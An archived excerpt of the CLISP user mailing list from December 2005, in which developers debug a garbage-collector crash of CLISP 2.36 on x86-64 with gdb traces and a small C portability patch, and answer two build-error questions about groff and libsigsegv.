X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 15 08:21:01 2005 X-Original-Date: Thu, 15 Dec 2005 17:19:53 +0100 On Thu, Dec 15, 2005 at 03:44:19PM +0100, Dr. Werner Fink wrote: > > This does not work, g++ seems to be to old. I'm trying now > to debug this with gdb and fprintf's mixed. On x86_64 I've > found this: > > --------------------------------------------------------------------------- > (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT))) > down: vorg = 0x17000333b9d728, dies = 0x486273950000000c > > Program received signal SIGABRT, Aborted. > 0x00002aaaaaf91a25 in raise () from /lib64/libc.so.6 > (gdb) up > #1 0x00002aaaaaf92d0e in abort () from /lib64/libc.so.6 > (gdb) up > #2 0x0000000000419d73 in gc_mark (obj=) at spvw_gcmark.d:251 > 251 /*NOTREACHED*/ abort(); > (gdb) > --------------------------------------------------------------------------- > > The message `down: vorg = 0x17000333b9d728, dies = 0x486273950000000c' > is from the copied fprintf at line 200 with PRIoint choosen to `l' > in file spvw_gcmark.d. It seems that at least the factorial called with (ext:! ) destroys the memory managment of clisp. If I do the following (let ((ht (make-hash-table :test 'ext:fasthash-eq))) (defstruct ht-test-struct a b c) (setq x (make-ht-test-struct :a 1 :b 2 :c ht)) (setf (gethash ht ht) ht (gethash x ht) 12) (setq x (read-from-string (with-standard-io-syntax (write-to-string x))) ht (ht-test-struct-c x)) ; (setf (ht-test-struct-a x) (ext:! 123) ; (gethash (ext:! 20) ht) (ext:! 21) ; (gethash (ext:! 21) ht) (ext:! 22) ; (gethash (ext:! 22) ht) (ext:! 23)) (setf (ht-test-struct-a x) (ext:! 12) (gethash (ext:! 2) ht) (ext:! 2) (gethash (ext:! 2) ht) (ext:! 2) (gethash (ext:! 2) ht) (ext:! 2)) (ext:gc) ; (setf (ht-test-struct-b x) (ext:! 124) ; (gethash (ext:! 30) ht) (ext:! 61) ; (gethash (ext:! 41) ht) (ext:! 72) ; (gethash (ext:! 52) ht) (ext:! 83)) (setf (ht-test-struct-b x) (ext:! 14) (gethash (ext:! 3) ht) (ext:! 6) (gethash (ext:! 4) ht) (ext:! 7) (gethash (ext:! 5) ht) (ext:! 8)) (ext:gc) (list (eq (gethash ht ht) ht) (gethash x ht))) all went OK. There is an overflow in handling extrem large numbers like !123. The next gc let clisp die after such a number. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Thu Dec 15 09:31:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Emwwt-0002pr-Na for clisp-list@lists.sourceforge.net; Thu, 15 Dec 2005 09:31:23 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Emwwo-0003vS-9X for clisp-list@lists.sourceforge.net; Thu, 15 Dec 2005 09:31:20 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBFHUq58010939; Thu, 15 Dec 2005 12:30:57 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051215161953.GA8089@boole.suse.de> (Werner Fink's message of "Thu, 15 Dec 2005 17:19:53 +0100") References: <20051214132536.GA14284@boole.suse.de> <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> <20051215161953.GA8089@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 15 09:32:14 2005 X-Original-Date: Thu, 15 Dec 2005 12:29:49 -0500 > * Dr. Werner Fink [2005-12-15 17:19:53 +0100]: > > It seems that at least the factorial called with (ext:! ) > destroys the memory managment of clisp. even (! 1000) does not cause a crash. something else is in play here too. we need a DEBUG_GCSAFETY build on a 64-bit platform. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://www.savegushkatif.org http://www.camera.org http://www.openvotingconsortium.org/ http://pmw.org.il/ The only guy who got all his work done by Friday was Robinson Crusoe. From zbyszek@mimuw.edu.pl Fri Dec 16 00:18:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EnAn3-0003hs-Lh for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 00:18:09 -0800 Received: from duch.mimuw.edu.pl ([193.0.96.2] ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EnAn2-0007FJ-1Z for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 00:18:09 -0800 Received: by duch.mimuw.edu.pl (Postfix, from userid 1127) id B12523380D4; Fri, 16 Dec 2005 09:18:02 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by duch.mimuw.edu.pl (Postfix) with ESMTP id AFDF43380D3 for ; Fri, 16 Dec 2005 09:18:02 +0100 (CET) From: Zbyszek Jurkiewicz To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Error in binaries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 16 00:23:00 2005 X-Original-Date: Fri, 16 Dec 2005 09:18:02 +0100 (CET) I don't know if it is the correct place to sumbmit mistakes, but is the one in README, apologies if not. 2.36 Linux binaries on Sourceforge are useless, because they contain particular directories included verbatim. When calling make: cc -O base/modules.o base/regexi.o base/regex.o base/calls.o -lcrypt -lm base/gettext.o base/lisp.a base/libcharset.a base/libavcall.a base/libcallback.a -ldl -L/home/users/s/sd/sds/top/Linux-i686/lib -lsigsegv -lc -o base/lisp.run /usr/bin/ld: cannot find -lsigsegv collect2: ld returned 1 exit status make: *** [base/lisp.run] Error 1 Best regards, Zbyszek Jurkiewicz From lisp-clisp-list@m.gmane.org Fri Dec 16 02:03:03 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EnCQY-0000tK-J1 for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 02:03:02 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EnCQW-0005gD-1Y for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 02:03:02 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EnCOs-0007RR-EQ for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 11:01:18 +0100 Received: from 195.201.73.36 ([195.201.73.36]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Dec 2005 11:01:18 +0100 Received: from sorokin by 195.201.73.36 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 16 Dec 2005 11:01:18 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Ru Lines: 46 Message-ID: References: <7728A878-43EF-11D9-A326-000A95930016@cs.utexas.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 195.201.73.36 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2)) X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: help with compiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 16 02:04:02 2005 X-Original-Date: Thu, 15 Dec 2005 17:34:45 +0000 (UTC) Sam Steingold gnu.org> writes: > > > * Alan Oursland pf.hgrknf.rqh> [2004-12-01 17:19:35 -0600]: > > > > Thanks. I was hoping for an answer like "clisp includes the POSIX > > package. Just run this command to load it". I guess that is not the > > case. > > CLISP does include a POSIX package in the syscalls module: > $ ./configure --with-module=syscall --build build-with-syscalls > $ ./build-with-syscalls/clisp -K full > [1]> (find-package "POSIX") > # > > you should not be surpized though that this package is CLISP-specific > and offers functionality > > which has nothing to do with the POSIX package in ACL. > Hello, Sam! Doing this on the new 2.36 version in the end I got this error message: ... rm -f txt.c rm -f txt ln -s ../doc/LISP-tutorial.txt LISP-tutorial.txt ln -s ../doc/CLOS-guide.txt CLOS-guide.txt ln -s ../doc/editors.txt editors.txt ln -s ../doc/impnotes.html impnotes.html ln -s ../doc/impnotes.css impnotes.css ln -s ../doc/clisp.png clisp.png groff -Tdvi -mandoc clisp.1 > clisp.dvi groff: can't find `DESC' file groff:fatal error: invalid device `dvi' make: *** [clisp.dvi] Ошибка 3 ru@srp-lnx:~/clisp-2.36$ Can you help me and give me advice what to do next to handle problem? Thanks in advance. Sincerely, Ru From werner@suse.de Fri Dec 16 06:12:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EnGKF-0005VS-OT for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 06:12:47 -0800 Received: from cantor.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EnGKE-0000Wc-0b for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 06:12:47 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 5DB3FF0A4 for ; Fri, 16 Dec 2005 15:12:39 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: <20051216141236.GA24342@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" References: <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> <20051215161953.GA8089@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 16 06:13:09 2005 X-Original-Date: Fri, 16 Dec 2005 15:12:36 +0100 On Thu, Dec 15, 2005 at 12:29:49PM -0500, Sam Steingold wrote: > > * Dr. Werner Fink [2005-12-15 17:19:53 +0100]: > > > > It seems that at least the factorial called with (ext:! ) > > destroys the memory managment of clisp. > > even (! 1000) does not cause a crash. > something else is in play here too. > we need a DEBUG_GCSAFETY build on a 64-bit platform. OK ... beside this, the macro defined_class_length should use size_t instead of ULONG type at least on 64-bit platforms. The g++ does not like ULONG in a comparision with gcv_object_t* pointers. Also () around a structure is not that good for modern c++ compilers. Beside this I had removed the `inline' from check_faddress_valid() to get it to link on SuSE Linux 10.0 x86_64. The g++ version is g++ (GCC) 4.0.2 20050901. See patch below. But nevertheless the last lines are: echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" STACK depth: 22389 make: *** [interpreted.mem] Segmentation fault Werner -------------------------------------------------------------------------------- --- src/foreign.d +++ src/foreign.d 2005-12-16 15:08:23.000000000 +0100 @@ -604,7 +604,7 @@ < fa: foreign address can trigger GC */ local maygc void validate_fpointer (object obj); -global maygc inline object check_faddress_valid (object fa) { +global maygc object check_faddress_valid (object fa) { object fp = TheFaddress(fa)->fa_base; if (!fp_validp(TheFpointer(fp))) { pushSTACK(fa); validate_fpointer(fp); fa=popSTACK(); --- src/lispbibl.d +++ src/lispbibl.d 2005-12-16 15:08:01.000000000 +0100 @@ -223,7 +223,7 @@ #endif #ifdef GENERIC_UNIX #define UNIX - #ifdef __linux__ + #if defined(__linux__) || defined(linux) #define UNIX_LINUX # Linux (Linus Torvalds Unix) #endif #ifdef __GNU__ @@ -1273,7 +1273,7 @@ #include #else #undef offsetof - #define offsetof(type,ident) ((ULONG)&(((type*)0)->ident)) + #define offsetof(type,ident) ((size_t)&(((type*)0)->ident)) #endif # Determine the offset of an array 'ident' in a struct of the type 'type': #if defined(__cplusplus) || defined(MICROSOFT) @@ -3337,9 +3337,9 @@ # type_data_object(type,data) #if defined(WIDE) && defined(WIDE_STRUCT) #if BIG_ENDIAN_P==WIDE_ENDIANNESS - #define type_data_object(type,data) ((object){{(tint)(type),(aint)(data)}INIT_ALLOCSTAMP}) + #define type_data_object(type,data) (object){{(tint)(type),(aint)(data)}INIT_ALLOCSTAMP} #else - #define type_data_object(type,data) ((object){{(aint)(data),(tint)(type)}INIT_ALLOCSTAMP}) + #define type_data_object(type,data) (object){{(aint)(data),(tint)(type)}INIT_ALLOCSTAMP} #endif #elif !(oint_addr_shift==0) #define type_data_object(type,data) \ @@ -6574,7 +6574,7 @@ } * Class; # Length of a . -#define defined_class_length ((((ULONG)&((Class)0)->initialized-offsetofa(record_,recdata))/sizeof(gcv_object_t))+1) +#define defined_class_length ((((size_t)&((Class)0)->initialized-offsetofa(record_,recdata))/sizeof(gcv_object_t))+1) # Length of a . #define built_in_class_length (defined_class_length+1) # = clos::*-instance-size* @@ -16558,7 +16558,7 @@ /* ensure that the Faddress is valid < fa: foreign address (not checked!) can trigger GC */ -extern maygc inline object check_faddress_valid (object fa); +extern maygc object check_faddress_valid (object fa); # Registers a foreign variable. # register_foreign_variable(address,name,flags,size); -------------------------------------------------------------------------------- -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Fri Dec 16 06:27:14 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EnGYC-0006Ku-SY for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 06:27:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EnGYA-0004tK-Qz for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 06:27:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBGEQRHo003313; Fri, 16 Dec 2005 09:26:30 -0500 (EST) To: clisp-list@lists.sourceforge.net, Ru Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Ru's message of "Thu, 15 Dec 2005 17:34:45 +0000 (UTC)") User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) References: <7728A878-43EF-11D9-A326-000A95930016@cs.utexas.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, Ru Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: help with compiling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 16 06:28:02 2005 X-Original-Date: Fri, 16 Dec 2005 09:25:23 -0500 Hi Ru > * Ru [2005-12-15 17:34:45 +0000]: > Doing this on the new 2.36 version in the end I got this error message: > > ... > rm -f txt.c > rm -f txt > ln -s ../doc/LISP-tutorial.txt LISP-tutorial.txt > ln -s ../doc/CLOS-guide.txt CLOS-guide.txt > ln -s ../doc/editors.txt editors.txt > ln -s ../doc/impnotes.html impnotes.html > ln -s ../doc/impnotes.css impnotes.css > ln -s ../doc/clisp.png clisp.png > groff -Tdvi -mandoc clisp.1 > clisp.dvi > groff: can't find `DESC' file > groff:fatal error: invalid device `dvi' > make: *** [clisp.dvi] =D0=9E=D1=88=D0=B8=D0=B1=D0=BA=D0=B0 3 > ru@srp-lnx:~/clisp-2.36$ > > Can you help me and give me advice what to do next to handle problem? 1. report the error to your Linux vendor: this indicates a broken groff installation 2. type "make" again - it should work. if it does not, type "touch clisp.dvi" and then "make". you will not have the DVI version of the manual, but you probably do not need it anyway (you have the standard "man" and html versions anyway) --=20 Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.jihadwatch.org/ http://www.iris.org.il http://ffii.org/ http://www.memri.org/ http://www.palestinefacts.org/ cogito cogito ergo cogito sum From sds@gnu.org Fri Dec 16 06:28:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EnGZZ-0006R0-GP for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 06:28:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EnGZY-0000tT-0x for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 06:28:37 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBGES89E003444; Fri, 16 Dec 2005 09:28:10 -0500 (EST) To: clisp-list@lists.sourceforge.net, Zbyszek Jurkiewicz Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Zbyszek Jurkiewicz's message of "Fri, 16 Dec 2005 09:18:02 +0100 (CET)") User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Zbyszek Jurkiewicz Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Error in binaries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 16 06:29:15 2005 X-Original-Date: Fri, 16 Dec 2005 09:27:06 -0500 > * Zbyszek Jurkiewicz [2005-12-16 09:18:02 +0100]: > > 2.36 Linux binaries on Sourceforge are useless, because they contain > particular directories included verbatim. When calling make: > > cc -O base/modules.o base/regexi.o base/regex.o base/calls.o -lcrypt > -lm base/gettext.o base/lisp.a base/libcharset.a base/libavcall.a > base/libcallback.a -ldl -L/home/users/s/sd/sds/top/Linux-i686/lib > -lsigsegv -lc -o base/lisp.run > /usr/bin/ld: cannot find -lsigsegv > collect2: ld returned 1 exit status > make: *** [base/lisp.run] Error 1 you are supposed to install libsigsegv first, and then edit the makefile, before running make. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.palestinefacts.org/ http://www.memri.org/ http://www.savegushkatif.org http://www.dhimmi.com/ MS: Brain off-line, please wait. From zbyszek@mimuw.edu.pl Fri Dec 16 06:31:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EnGcd-0006bm-7Y for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 06:31:47 -0800 Received: from duch.mimuw.edu.pl ([193.0.96.2] ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EnGcb-0002TD-Pt for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 06:31:47 -0800 Received: by duch.mimuw.edu.pl (Postfix, from userid 1127) id 2EEA533816F; Fri, 16 Dec 2005 15:31:42 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by duch.mimuw.edu.pl (Postfix) with ESMTP id 2DA1F33815E for ; Fri, 16 Dec 2005 15:31:42 +0100 (CET) From: Zbyszek Jurkiewicz To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Error in binaries Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 16 06:32:01 2005 X-Original-Date: Fri, 16 Dec 2005 15:31:42 +0100 (CET) Ah, thanks ZJ On Fri, 16 Dec 2005, Sam Steingold wrote: >> * Zbyszek Jurkiewicz [2005-12-16 09:18:02 +0100]: >> >> 2.36 Linux binaries on Sourceforge are useless, because they contain >> particular directories included verbatim. When calling make: >> >> cc -O base/modules.o base/regexi.o base/regex.o base/calls.o -lcrypt >> -lm base/gettext.o base/lisp.a base/libcharset.a base/libavcall.a >> base/libcallback.a -ldl -L/home/users/s/sd/sds/top/Linux-i686/lib >> -lsigsegv -lc -o base/lisp.run >> /usr/bin/ld: cannot find -lsigsegv >> collect2: ld returned 1 exit status >> make: *** [base/lisp.run] Error 1 > > you are supposed to install libsigsegv first, and then edit the > makefile, before running make. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > http://www.palestinefacts.org/ http://www.memri.org/ > http://www.savegushkatif.org http://www.dhimmi.com/ > MS: Brain off-line, please wait. > From sds@gnu.org Fri Dec 16 07:38:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EnHfG-0002Oi-43 for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 07:38:34 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EnHfE-00004x-K4 for clisp-list@lists.sourceforge.net; Fri, 16 Dec 2005 07:38:34 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBGFc40K007431; Fri, 16 Dec 2005 10:38:06 -0500 (EST) To: clisp-list@lists.sourceforge.net Cc: "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051216141236.GA24342@boole.suse.de> (Werner Fink's message of "Fri, 16 Dec 2005 15:12:36 +0100") User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) References: <20051214141309.GA29371@wotan.suse.de> <20051214153617.GA17223@boole.suse.de> <20051214154951.GA18868@boole.suse.de> <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> <20051215161953.GA8089@boole.suse.de> <20051216141236.GA24342@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Dec 16 07:39:01 2005 X-Original-Date: Fri, 16 Dec 2005 10:37:02 -0500 > * Dr. Werner Fink [2005-12-16 15:12:36 +0100]: > > OK ... beside this, the macro defined_class_length should use size_t > instead of ULONG type at least on 64-bit platforms. The g++ does not > like ULONG in a comparision with gcv_object_t* pointers. I fixed this differently earlier this week (aint instead of size_t) > Also () around a structure is not that good for modern c++ compilers. why? > Beside this I had removed the `inline' from check_faddress_valid() > to get it to link on SuSE Linux 10.0 x86_64. The g++ version is > g++ (GCC) 4.0.2 20050901. OK. > But nevertheless the last lines are: > > echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp > ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" > STACK depth: 22389 > make: *** [interpreted.mem] Segmentation fault the problem is if you compile with "-g", then the crash is Program received signal SIGSEGV, Segmentation fault. 0x00000000004896e5 in gcv_object_t::operator object (this=0x400000091f358) at lispbibl.d:4179 4179 nonimmprobe(one_o); that is because 0x400000091f358 is not a valid pointer. (gdb) up #1 0x000000000068124e in with_gc_statistics ( fun=0x4190f4 ) at predtype.d:3134 3134 var object flag = Symbol_value(S(gc_statistics_stern)); (gdb) p &(symbol_tab_data.S_gc_statistics_stern) $1 = (symbol_ *) 0x91f350 now, look at 0x91f350 and 0x400000091f358 